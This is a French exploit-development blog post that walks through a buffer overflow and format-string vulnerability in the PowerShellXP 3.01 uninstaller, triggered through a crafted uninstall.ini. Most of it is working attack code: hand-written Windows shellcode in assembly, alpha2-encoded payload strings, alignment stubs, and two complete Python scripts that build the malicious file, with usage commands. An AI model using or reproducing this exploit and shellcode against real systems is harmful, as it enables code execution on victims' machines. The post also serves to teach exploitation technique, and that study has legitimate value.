Cheers to sec0d and it’s members for finding the vuln’ :). Thanks to kmkz and ZadYRee for support ;).

Introduction

Aujourd’hui on va attaquer PowerShellXP 3.01. C’est une extension du shell windows (je vous avouerais que je ne me suis pas penché plus que ça sur ses fonctionnalitées). Ce soft souffre d’une vulnérabilité dans son désinstalleur comme nous allons le voir.

Trigger it!

On lance le désinstalleur et il nous affiche un gentil message :).

PowerShell Launch

Après recherche dans les différents fichier dans le dossier d’installation, on trouve une ligne intéressante dans le uninstall.ini.

PowerShell uninstall ini

On change le %s en %x juste pour voir … et coup de chance : format string ;).

PowerShell format string

Reste plus qu’à crasher ça avec un pattern metasploit.

PowerShell crash

Recherche de l’offset avec !pvefindaddr suggest.

PowerShell offset

En regardant de plus près notre stack (screen 4), on voit qu’on a un pointeur sur notre pile qui pointe directement sur notre buffer, all the win? :) Le schéma de la stack : PowerShell stack1

Il nous suffira donc de trouver une instruction style pop/pop/ret pour retourner sur notre payload :).

On regarde en 0x4012AF et on remarque un appel à wvsprintfA() juste avant, on a localisé la vuln’ ;).

PowerShell location

On remarque que l’addresse du buffer se trouve en 0x406E70 (huh?) et qu’on re-écrit EIP au bout de 5268 octets … bizarre. Donc on a EIP qui se trouve en 0x408304.

Regardons un peu qu’es-ce qu’on re-écrit :

PowerShell memory map

On tape donc dans la section des imports. En regardant les imports vers 0x408304 … on a wvsprintfA() ;). A l’appel de celle-ci on redirige en fait notre code directos sur notre payload :).

PowerShell imports

En posant un breakpoint au début de la fonction appellée (0x40127C) on voit ça :

PowerShell stack2

Un peu plus bas sur la pile on peut voir qu’on a un retour vers 0x40330F, on va à cette addresse et on voit 1 appel avant notre fonction en 0x401512 qui fait un appel vers lstrcpyA() … et voilà d’où vient la vuln ;).

PowerShell vulnerable location

Et l’appel à notre lstrcpyA() :

PowerShell vulnerable function

Donc pour résumer, on a 2 vulnérabilités:

  • un buffer overflow due à lstrcpyA()
  • une format string s’en suivant due à l’appel de wvsprintfA() avec le format qu’on controle ;)

Et voilà, maintenant il nous reste juste le code d’alignement pour notre shellcode qu’on va encoder en utilisant l’alpha2.

Alignment code

Voilà le code d’alignement (veuillez vous reférer à mon article sur Xion Audio Player exploitation pour de plus amples explication sur la manière de construire un code d’alignement ;) ) :

1
2
3
4
5
6
7
8
9
10
11
12
13
# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# pop esp (make esp point to data)
align += '\\'
# popad
align += 'a'
align += 'K' * 18 # junk byte :)
align += 'C' * 4  # ecx
align += 'C' * 4  # eax

J’ai choisi ESP en base address car plus facile à aligner (grâce à popad :)). C’est pour cette raison que je fais pointer ESP vers la section .data directement ^^.

Bon maintenant on a tous les éléments en main pour construire notre exploit.

Pawned?

Aller on essaie avec une payload calculatrice classique ;) :

PowerShell AccessViolation PUSH

Ouch, “Access Violation” à cause d’un PUSH, c’est dû au fait qu’on atteint la fin de la section .data :s. On va solutionner ça avec un shellcode windows maison qui va allouer une nouvelle stack tout simplement :).

Let’s shellcode!

Pour cette partie je vous conseille de vous documenter sur le format de fichier exécutable PE et sur le shellcoding Windows (le document de skape est très bon :)).

Le déroulement d’un shellcode windows est généralement le suivant :

  • parcours du PEB à la recherche de la base de kernel32.dll
  • resolutions des fonctions nécessaires de kernel32.dll - parsing de l’EAT à la recherche des exports correspondants
  • appel des fonctions

Un peu de parsing du fichier PE, on trouve nos imports et on fait nos appels comme il faut :).

Ca nous donne la payload suivante :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
bits 32

; defines
PAGE_EXECUTE_READWRITE  equ 0x40
HEAP_ZERO_MEMORY equ 0x8
; 1KB
KB equ 1024
MB equ 1024*KB

; 1MB stack
MEMORY_SIZE equ MB
GETSTUB_SIZE equ 13
ENCODER_SIZE equ 51
CURRENT_PAYLOAD_SIZE equ 861
CURRENT_PAYLOAD_OFFSET equ CURRENT_PAYLOAD_SIZE - ENCODER_SIZE - GETSTUB_SIZE
PAYLOAD_SIZE equ 5268-CURRENT_PAYLOAD_OFFSET

; hash : kernel32.dll
GETPROCESSHEAPHASH  equ     0xa80eecae
VIRTUALPROTECTHASH  equ     0x7946c61b
LOADLIBRARYAHASH    equ     0xec0e4e8e

; hash : ntdll.dll
RTLALLOCATEHEAPHASH       equ     0x3e192526

section .text
    global main

alloc_start:
main:
    ; get current stub address
    jmp short redirect
    get_eip_ret:
        pop eax ; eip
        jmp current_payload
    redirect:
    call get_eip_ret

    current_payload:
    sub esp, 0x20
    mov ebp, esp
    mov [ebp+ADDRESS_STUB], eax

    ; search kernel32 base address
    call find_kernel32

    ; resolve kernel32 symbols
    ; base of kernel32.dll
    mov edx, eax
    mov esi, [ebp+ADDRESS_STUB]
    add esi, kernel32_hash_table - GETSTUB_SIZE
    mov ecx, esi
    add ecx, 12     ; 3 symbols to resolve
    lea edi, [ebp+KERNEL32_FUNC_TABLE]
    call resolve_symbols_for_dll

    ; LoadLibraryA('ntdll.dll')
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, ntdll_dll - GETSTUB_SIZE
    push ebx        ; 'ntdll.dll'
    call [ebp+LOADLIBRARYA]

    ; resolve ntdll symbols
    ; base of ntdll.dll
    mov edx, eax
    mov ecx, esi    ; restore clobbered ecx (due to LoadLibraryA)
    add ecx, 4      ; 1 symbol to resolve
    call resolve_symbols_for_dll

    ; LoadLibraryA('user32.dll')
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, user32_dll - GETSTUB_SIZE
    push ebx        ; 'user32.dll'
    call [ebp+LOADLIBRARYA]

    ; resolve user32 symbols
    ; base of user32.dll
    mov edx, eax
    mov ecx, esi    ; restore clobbered ecx (due to LoadLibraryA)
    add ecx, 4      ; 1 symbol to resolve
    call resolve_symbols_for_dll

    ; GetProcessHeap
    call [ebp+GETPROCESSHEAP]

    ; RtlAllocateHeap() ... same result as HeapAlloc()
    push MEMORY_SIZE        ; dwBytes
    push HEAP_ZERO_MEMORY   ; dwFlags
    push eax                ; hHeap
    call [ebp+RTLALLOCATEHEAP]
    push eax                ; save allocated memory address

    ; VirtualProtect()
    lea ecx, [ebp+OLDPROTECT]
    push ecx                        ; lpflOldProtect
    push PAGE_EXECUTE_READWRITE     ; flNewProtect
    push MEMORY_SIZE                ; dwSize
    push eax                        ; lpAddress
    call [ebp+VIRTUALPROTECT]
    
    ; get allocated memory address back :)
    pop edx

    ; set new stack :)
    add edx, MEMORY_SIZE
    push edx
    pop esp

    ; show message :)
    push 0                              ; uType = MB_OK
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, pawnTitle - GETSTUB_SIZE
    push ebx                            ; lpCaption = 'Hacked! :)'
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, pawnMsg - GETSTUB_SIZE
    push ebx                            ; lpText = 'Pawned by m_101'
    push 0                              ; hWnd = NULL = no owner window
    call [ebp+MESSAGEBOX]

    ; we compute payload address for jmp
    mov eax, [ebp+ADDRESS_STUB]
    mov ebx, CURRENT_PAYLOAD_OFFSET
    add eax, ebx

    ; jmp to payload
    jmp eax

; get kernel32 module base address from PEB
; void* find_kernel32(void)
find_kernel32:
    xor eax, eax
    add eax, [fs:eax+0x30]       ; eax = PEB
    js short method_9x

    method_nt:
        mov   eax, [eax + 0ch]      ; PEB_LDR_DATA *
        mov   esi, [eax + 1ch]      ; PEB_LDR_DATA.InInitializationOrderModuleList
        lodsd                       ; eax = [esi]   get kernel32 entry
        mov   eax, [eax + 08h]      ; kernel32 DllBase
        jmp short kernel32_ptr_found

    method_9x:
        mov   eax, [eax + 34h]
        lea   eax, [eax + 7ch]
        mov   eax, [eax + 3ch]
    kernel32_ptr_found:
    ret

; resolve function address
; void* find_function (void *base, unsigned int hash)
find_function:
    pushad                          ; save all registers ^^
    mov ebp, [esp + 0x24]           ; VA base address of module
    mov eax, [ebp + 0x3c]           ; pe header
    mov edx, [ebp + eax + 0x78]     ; get export address table
    add edx, ebp                    ; VA of EAT
    mov ecx, [edx + 0x18]           ; number of exported functions
    mov ebx, [edx + 0x20]           ; name table
    add ebx, ebp                    ; VA of name table

    find_function_loop:
        jecxz find_function_finished    ; if ecx == 0 then unresolved
        dec ecx                         ; one entry less to check
        mov esi, [ebx + ecx * 4]        ; name offset of current symbol
        add esi, ebp                    ; VA of name

        compute_hash:
            xor edi, edi                ; hash = 0
            xor eax, eax                ; character
            cld                         ; assure it increment by setting DF=0

            compute_hash_again:
                lodsb                       ;
                test al, al                 ; end of string reached?
                jz compute_hash_finished    ; if yes, finished to hash
                ror edi, 0xd                ; rotate right for 13 bits
                add edi, eax                ; hash
            jmp compute_hash_again
        compute_hash_finished:

        find_function_compare:
            cmp edi, [esp + 0x28]           ; does it match requested hash?
    jnz find_function_loop                  ; if not we continue searching
        mov ebx, [edx + 0x24]               ; ordinal table offset
        add ebx, ebp                        ; VA of ordinal table offset
        mov cx, [ebx + 2 * ecx]             ; current ordinal
        mov ebx, [edx + 0x1c]               ; address table offset
        add ebx, ebp                        ; VA of address table offset
        mov eax, [ebx + 4 * ecx]            ; relative function offset
        add eax, ebp                        ; function VA yeepee!
        mov [esp + 0x1c], eax               ; patch saved eax value
    find_function_finished:

    popad                                   ; restore :)
    ret 8

; void resolve_symbols_for_dll (edx = base of dll, edi = resolved addresses, esi = hash table address, ecx == end of hash table)
resolve_symbols_for_dll:
    lodsd
    push eax
    push edx
    call find_function
    mov [edi], eax
    add edi, 0x4        ; go forward in address table
    cmp esi, ecx
    jnz resolve_symbols_for_dll
    ret

; offset compared to ebp ;)
; kernel32
KERNEL32_FUNC_TABLE     equ 0
GETPROCESSHEAP          equ 0
VIRTUALPROTECT          equ 4
LOADLIBRARYA            equ 8

; ntdll
NTDLL_FUNC_TABLE    equ 12
RTLALLOCATEHEAP     equ 12

; user32
USER32_FUNC_TABLE   equ 16
MESSAGEBOX          equ 16

;
ADDRESS_STUB        equ 20
KERNEL32_BASE       equ 24
OLDPROTECT          equ 28

; hash tables
kernel32_hash_table:
    GetProcessHeapHash  dd     0xa80eecae
    VirtualProtectHash  dd     0x7946c61b
    LoadLibraryAHash    dd     0xec0e4e8e

ntdll_hash_table:
    RtlAllocateHeapHash dd     0x3e192526

user32_hash_table:
    MessageBox  dd  0xbc4da2a8

; dll to load
ntdll_dll: db 'ntdll.dll', 0
user32_dll: db 'user32.dll', 0

; message to show :)
pawnMsg: db 'Pawned by m_101', 0
pawnTitle: db 'Hacked! :)', 0

    ; (alpha2 payload eax based)
    payload:

Le code est bien commenté donc assez compréhensible ^^. Dans cette payload, j’effectue les actions suivantes :

  • recherche de la base de kernel32
  • résolution des symbôles de kernel32
  • LoadLibraryA (“ntdll.dll”)
  • résolution des symbôles de ntdll
  • allocation de mémoire : RtlAllocateHeap(GetProcessHeap(), HEAP_ZERO_MEMORY, MEMORY_SIZE)
  • VirtualProtect() // inutile ici mais ça pourrait être utile pour faire du staging par exemple ;)
  • On set esp à la zone allouée
  • MessageBox()
  • Calcul de la position de notre “vraie” payload + jmp vers celle-ci (EAX based)

J’ai légèrement tweaké la routine de résolution des symbols de skape (ret 8 à la fin de find_function). Y’a moyen d’optimiser plus mais bon, ici on a 5268 octets d’espace, on a largement de quoi faire :).

Finally hacked?

Let’s try that :).

PowerShell pwned

Oh yeah baby! :)

Le sploit

Comme vu dans mon shellcode windows, je fais un jmp eax après, ça explique le fait qu’il faudra baser votre payload alpha2 encoded sur EAX ;). Si vous voulez changer de base address, suffit de modder le shellcode ;). Here it is :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/python

# vuln finders : kmkz, zadyree, hellpast
# author : m_101 
# site         : binholic.blogspot.com
import sys

if len(sys.argv) < 4:
    print("Usage: %s input output payload" % sys.argv[0])
    exit(1)

# get file content
infile = sys.argv[1]
fp = open(infile, 'r')
content = fp.read()
fp.close()

#
fpayload = sys.argv[3]
fp = open(fpayload, 'r')
payload = fp.read()
fp.close()

# first offset ... but not enough room
# ret_offset = 248
ret_offset = 5268
# size 118, tag = 'PAWN'
allocnewstack = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIxkffbxyyFeWpgpUPixL5kOKOKOmQzLupS0uPS0mY8eOy3udTKXnMgpgpwpmYKrnkqeUDmQkvssgqwpUPlIxqmQkqDLuPuP5Pnm1mUPKXDC6aePUPLKQM7dK1HCcguQwp5PbsKOpU5XmYkroyXqk1yQdDuPEPgpM8KWwpuPePlKqMDTMQYSqquQUPWpSckOPUuXk9ZblIZQmQjawtc0Gp7pKXzkGpwp7pio2u5PPhuPwpdPWpU8fh7pwpS0pPkOSeVlRpLMrmELSaQxspGpEPEPE8EPWpR0GpRp9oPUWtPZOqYR5Pgp4PGp1B3lSXEP7pGp30nkQM6tMQZcSLc1ePWpRsNksm5DoqiS0l5QC0UPpSqxs0EPEP7p9o65FpLKSub4OKWmfcwpUP7qN8kOKPeao0cTgsw000RXtLnkQPflNkpp5LNMlKspTHHkWylKQPp4lMcpQlLK1PelKsu0nkplQ4utNk2egLnkQDs5RXs1jJLKQZ6xlK3jep7qHkm3dw0INk4tnkgq8n4qkOP1o0kLNLmTYPrTgzkqZoTMeQkwXi9akOKOkO7KqletQ82U9NnkpZa4uQzKSVlKVlpKlKRzuLC1ZKLK5TnkVajHMYqTUtULaqYRC8S0LmrppRkXMuIoioKOOyfgOqO7Fds0uPEPuixNRUHl9SLnXlfnlhUKYV3vaiNn2nDNxl16gUuIenLhY2pMOLRNqdCTBLrL6NqtrLPlwp45qccUT2wCDrFNqtPlRL30rppaQg0nu5e4WPU2PyWPrMCo5aVPUauPw8cQ53PkquQtwQ5pDzGYS0A"

# pop pop ret
ret = "\x9e\x13\x40\x00"

ecx = "\x45\x61\x39\x76"
eax = "\x47\x61\x39\x76"

print("Constructing alignment code")
# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# pop esp (make esp point to data)
align += '\\'
# popad
align += 'a'
align += 'K' * 18 # junk byte :)
align += 'C' * 4  # ecx
align += 'C' * 4  # eax

# buffer need to be long enough ;)
print("Padding")

print("Constructing payload")
# we need to allocate a new stack or it will trigger an access violation because we reach end of .data section
payload = allocnewstack + payload
print("Payload size : %u" % len(payload))
# let's have the minimum correct buffer length!
padding = (ret_offset - len(payload) - len(align)) * 'C'

print("Constructing egg")
egg = align + payload + padding + ret
print("Egg size : %u" % len(egg))

modified = content.replace('TESTTEST', egg)

# working
outfile = sys.argv[2]
print ("Writing exploit file : %s" % outfile)
fp = open(outfile, 'w')
fp.write(modified)
fp.close()

Usage :

1
2
./alpha2 esp < allocnewstack
./sploit.py uninstall.ini.tomod uninstall.ini [payload]

Le fichier uninstall.ini.tomod est fourni en fin d’article.

Comment ça, ça servait à rien de shellcoder une payload maison?

:) bah oui y’a quand même plus simple hein que de devoir faire une payload d’allocation d’une nouvelle stack … fallait bien que je trouve une excuse pour le shellcoding windows et puis c’est quand même plus classe de pouvoir crafter ses propres payloads :p. Anyway, suffit de tweaker un peu mieux notre code d’alignement pour que tout roule nickel ;).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# push esp  ; save current esp register
align += 'T'
# pop edx   ; save in edx
align += 'Z'
# pop esp (make esp point to data)
align += '\\'
# push edx  ; old esp register
align += 'R'    # edi
# popad
align += 'a'

# align += ecx
# align += eax

# we get actual value (for later restore ;))
# pop ecx
# push ecx
align += "\x59\x51"
# push esp
# pop eax       ; here the code is adjusted but we still need to restore old stack
align += 'TX'
# we repatch the stack (or we may have bad memory access ;))
# push ecx
align += "\x51"
# we don't want our current instructions to be crushed
# dec esp * 4
align += 'L' * 8
# push edi  ; old stack
align += 'W'
# pop esp   ; restore old stack
align += '\\'
# junk bytes
align += 'K' * 4 # scrape space (esp point here)

Ici le registre de base est EAX par contre (push esp, pop eax) vu qu’on restore l’ancienne stack. Et wala, on est passé de 1362 octets à 501 octets sans la payload maison ;). Bien sûr, vous pourrez toujours en ajouter une maintenant que vous savez faire :). Les push ecx sont là pour restorer les instructions écrasées sur la stack (qu’on exécute!) sinon on peut avoir un access violation!

Au final, notre shellcode ressemble désormais à ça :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
bits 32

; defines
PAGE_EXECUTE_READWRITE  equ 0x40
HEAP_ZERO_MEMORY equ 0x8
; 1KB
KB equ 1024
MB equ 1024*KB

; 1MB stack
MEMORY_SIZE equ MB
GETSTUB_SIZE equ 13
ENCODER_SIZE equ 51
CURRENT_PAYLOAD_SIZE equ 585
CURRENT_PAYLOAD_OFFSET equ CURRENT_PAYLOAD_SIZE - ENCODER_SIZE - GETSTUB_SIZE
PAYLOAD_SIZE equ 5268-CURRENT_PAYLOAD_OFFSET

; hash
MESSAGEBOXAHASH     equ     0xbc4da2a8
LOADLIBRARYAHASH    equ     0xec0e4e8e

section .text
    global main

alloc_start:
main:
    ; get current stub address
    jmp short redirect
    get_eip_ret:
        pop eax ; eip
        jmp current_payload
    redirect:
    call get_eip_ret

    current_payload:
    sub esp, 0x20   ; make room on stack to store pointers
    mov ebp, esp
    mov [ebp+ADDRESS_STUB], eax

    ; search kernel32 base address
    call find_kernel32

    ; kernel32.dll
    ; resolve LoadLibraryA
    push LOADLIBRARYAHASH
    push eax
    call find_function
    mov [ebp+LOADLIBRARYA], eax

    ; LoadLibraryA('user32.dll')
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, user32_dll - GETSTUB_SIZE
    push ebx        ; 'user32.dll'
    call [ebp+LOADLIBRARYA]

    ; user32.dll
    ; resolve MessageBoxA
    push MESSAGEBOXAHASH
    push eax
    call find_function
    mov [ebp+MESSAGEBOXA], eax

    ; show message :)
    push 0                              ; uType = MB_OK
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, pawnTitle - GETSTUB_SIZE
    push ebx                            ; lpCaption = 'Hacked! :)'
    mov ebx, [ebp+ADDRESS_STUB]
    add ebx, pawnMsg - GETSTUB_SIZE
    push ebx                            ; lpText = 'Pawned by m_101'
    push 0                              ; hWnd = NULL = no owner window
    call [ebp+MESSAGEBOXA]

    ; we compute payload address for jmp
    mov eax, [ebp+ADDRESS_STUB]
    mov ebx, CURRENT_PAYLOAD_OFFSET
    add eax, ebx

    ; jmp to payload
    jmp eax

; get kernel32 module base address from PEB
; void* find_kernel32(void)
find_kernel32:
    xor eax, eax
    add eax, [fs:eax+0x30]       ; eax = PEB
    js short method_9x

    method_nt:
        mov   eax, [eax + 0ch]      ; PEB_LDR_DATA *
        mov   esi, [eax + 1ch]      ; PEB_LDR_DATA.InInitializationOrderModuleList
        lodsd                       ; eax = [esi]   get kernel32 entry
        mov   eax, [eax + 08h]      ; kernel32 DllBase
        jmp short kernel32_ptr_found

    method_9x:
        mov   eax, [eax + 34h]
        lea   eax, [eax + 7ch]
        mov   eax, [eax + 3ch]
    kernel32_ptr_found:
    ret

; resolve function address
; void* find_function (void *base, unsigned int hash)
find_function:
    pushad                          ; save all registers ^^
    mov ebp, [esp + 0x24]           ; VA base address of module
    mov eax, [ebp + 0x3c]           ; pe header
    mov edx, [ebp + eax + 0x78]     ; get export address table
    add edx, ebp                    ; VA of EAT
    mov ecx, [edx + 0x18]           ; number of exported functions
    mov ebx, [edx + 0x20]           ; name table
    add ebx, ebp                    ; VA of name table

    find_function_loop:
        jecxz find_function_finished    ; if ecx == 0 then unresolved
        dec ecx                         ; one entry less to check
        mov esi, [ebx + ecx * 4]        ; name offset of current symbol
        add esi, ebp                    ; VA of name

        compute_hash:
            xor edi, edi                ; hash = 0
            xor eax, eax                ; character
            cld                         ; assure it increment by setting DF=0

            compute_hash_again:
                lodsb                       ;
                test al, al                 ; end of string reached?
                jz compute_hash_finished    ; if yes, finished to hash
                ror edi, 0xd                ; rotate right for 13 bits
                add edi, eax                ; hash
            jmp compute_hash_again
        compute_hash_finished:

        find_function_compare:
            cmp edi, [esp + 0x28]           ; does it match requested hash?
    jnz find_function_loop                  ; if not we continue searching
        mov ebx, [edx + 0x24]               ; ordinal table offset
        add ebx, ebp                        ; VA of ordinal table offset
        mov cx, [ebx + 2 * ecx]             ; current ordinal
        mov ebx, [edx + 0x1c]               ; address table offset
        add ebx, ebp                        ; VA of address table offset
        mov eax, [ebx + 4 * ecx]            ; relative function offset
        add eax, ebp                        ; function VA yeepee!
        mov [esp + 0x1c], eax               ; patch saved eax value
    find_function_finished:

    popad                                   ; restore :)
    ret 8

; offset compared to ebp ;)
; kernel32
KERNEL32_FUNC_TABLE     equ 0
LOADLIBRARYA            equ 0

; user32
USER32_FUNC_TABLE   equ 4
MESSAGEBOXA         equ 4

;
ADDRESS_STUB        equ 8

; dll to load
user32_dll: db 'user32.dll', 0

; message to show :)
pawnTitle: db 'Hacked! :)', 0
pawnMsg: db 'Pawned by m_101', 0

    ; (alpha2 payload eax based)
    payload:

Et voilà le résultat :). Dans les deux shellcodes vous pouvez voir que j’ai des defines pour la payload, ça sert à calculer l’offset de la seconde payload en alpha2 qui est concaténée à la suite ;).

Ca nous donne donc l’exploit final :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
#!/usr/bin/python

# vuln finders : kmkz, zadyree, hellpast
# author       : m_101
# site         : binholic.blogspot.com
import sys

if len(sys.argv) < 4:
    print("Usage: %s input output payload" % sys.argv[0])
    exit(1)

# get file content
infile = sys.argv[1]
fp = open(infile, 'r')
content = fp.read()
fp.close()

#
fpayload = sys.argv[3]
fp = open(fpayload, 'r')
payload = fp.read()
fp.close()

# first offset ... but not enough room
# ret_offset = 248
ret_offset = 5268

# pop pop ret
ret = "\x9e\x13\x40\x00"

ecx = "\x45\x61\x39\x76"
eax = "\x47\x61\x39\x76"

print("Constructing alignment code")
# alignment code
# dec esp
# dec esp
# dec esp
# dec esp
align = 'L' * 4
# push esp  ; save current esp register
align += 'T'
# pop edx   ; save in edx
align += 'Z'
# pop esp (make esp point to data)
align += '\\'
# push edx  ; old esp register
align += 'R'    # edi
# popad
align += 'a'

# align += ecx
# align += eax

# we get actual value (for later restore ;))
# pop ecx
# push ecx
align += "\x59\x51"
# push esp
# pop eax       ; here the code is adjusted but we still need to restore old stack
align += 'TX'
# we repatch the stack (or we may have bad memory access ;))
# push ecx
align += "\x51"
# we don't want our current instructions to be crushed
# dec esp * 4
align += 'L' * 8
# push edi  ; old stack
align += 'W'
# pop esp   ; restore old stack
align += '\\'
# junk bytes
align += 'K' * 4 # scrape space (esp point here)

# buffer need to be long enough ;)
print("Padding")

print("Constructing payload")
msg = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIhkS62xKYc5wpC0uP9xZUKOkOyonahlwP5PEPuPK9kUOySuc8kXf6Gp5Ps0Phnn0NdNzLPPm81yS05Ps0NiQUuPLKsmEXmQO38WePEP5PPSYoPUuPsXMxOR2mMlPPKXrnePgpwpOyG5Vd0h5P7p5PuPLKCm38mQksJB5PC05PpSLKSmS8NaiSJMgpgpwpQCSXwpuPS0GpKOpUTDlKBedHmks9uRWp5PvazxioKP01O0PdUS3ptp1hvlLKQPTLnkRPglnMNkcpS8XkUYNk1PttnmCpsLnksp7LySQpnkbLddQ4lKPE5lLKrtuUrX5Q8jLK3zTXNkQJ5peQXkysvWSyNkP4LKuQXnTq9otqyPKLNLMTKp444JyQXOTMWqKwyyIaKOKOKOwKcL145x45YNLK3jTdeQ8kCVNkflbkNk0ZULs18klKuTLKgqKXLIW4VDglE1hBUXWpt5cC1uBRUcGBfN2DPl0lWpaXpa2C2K3UpdTaup7JUyuPPPu1RWPnQuPdupsRaiUpBMcotqtpvQWpA"
payload = msg + payload
print("Payload size : %u" % len(payload))
# let's have the minimum correct buffer length!
padding = (ret_offset - len(payload) - len(align)) * 'C'

print("Constructing egg")
egg = align + payload + padding + ret
print("Egg size : %u" % len(egg))

modified = content.replace('TESTTEST', egg)

# working
outfile = sys.argv[2]
print ("Writing exploit file : %s" % outfile)
fp = open(outfile, 'w')
fp.write(modified)
fp.close()

Usage :

1
2
./alpha2 eax < allocnewstack
./sploit.py uninstall.ini.tomod uninstall.ini [payload]

Le fichiers nécessaire uninstall.ini.tomod est fourni en fin d’article.

Conclusion

Comment quoi on aura pu voir que les overflow ne se déroulent pas qu’en stack, mais aussi dans toutes les autres sections ou on peut écrire/exécuter du code ;). En plus de tout ça, un avant-goût a été donné sur le shellcoding windows.

J’espère que ça vous a plut,

Have fun,

m_101

Ressources